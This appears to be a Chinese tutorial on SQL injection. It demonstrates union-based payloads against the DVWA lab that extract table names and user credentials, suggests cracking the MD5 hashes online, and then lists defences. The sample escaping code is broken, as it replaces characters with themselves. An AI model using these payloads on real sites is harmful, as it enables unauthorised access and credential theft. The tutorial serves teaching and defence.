文章目录
一、SQL注入
SQL注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入成功的原因:
(1)程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
(2)未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
最终,用户提交的参数数据未做充分检查过滤即被代入到SQL命令中,改变了原有SQL命令的“语义”,且成功被数据库执行。
如:输入用户名:’ or 1='1
SQL语句被改变成为1=1永远为真,所以就通过了验证成功登录网站。
常见的SQL注入语句:
通过一个单引号‘查看是否触发错误,如果成功,数据库将会返回一个错误。
使用DVWA测试
-
打开DVWA也面,登录,然后修改DVWA Security等级为Low点击submit
-
打开SQL Injection界面,该界面的功能是通过输入User ID查询Username
如下图所示,我们输入一可以得到下方结果,显示User ID为1的用户。
-
输入1’ union select 1,database()#提交,可以得到数据库的名称。如下图所示:
-
输入1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#,得到数据库中的表名
-
输入1’ union select 1,column_name from information_schema.columns where table_name=‘users’#,得到users表的列名
-
输入1’ union select 1,concat(user,password) from users#,得到users表的所有用户名和密码
下图得到的密码为md5加密密码,我们可以通过 https://www.cmd5.com/ 网站进行解密从而得到真实的密码。
二、SQL注入防范措施
过滤特殊符号
在HTML中,某些字符是预留的。例如小于号 < 和大于号 > ,浏览器在解析他们时会误认为它们是标签。如果希望正确地显示预留字符,我们必须在HTML源代码中使用字符实体。
代码如下(示例):
content=content.replace("<","<");
content=content.replace(">",">");
利用PreparedStatement方法
SQL中有变量时,用JDBC提供的PreparedStatement方法可以提高SQL语句执行的安全性,该方法要求在执行SQL语句之前,必须告诉JDBC哪些值作为输入参数。
总结
SQL注入可以导致不法分子直接通过代码导致网站SQL语句发生变化从而成为永真语句,可以不通过正常输入账号及密码登录网站,给网站带来了很大的危害。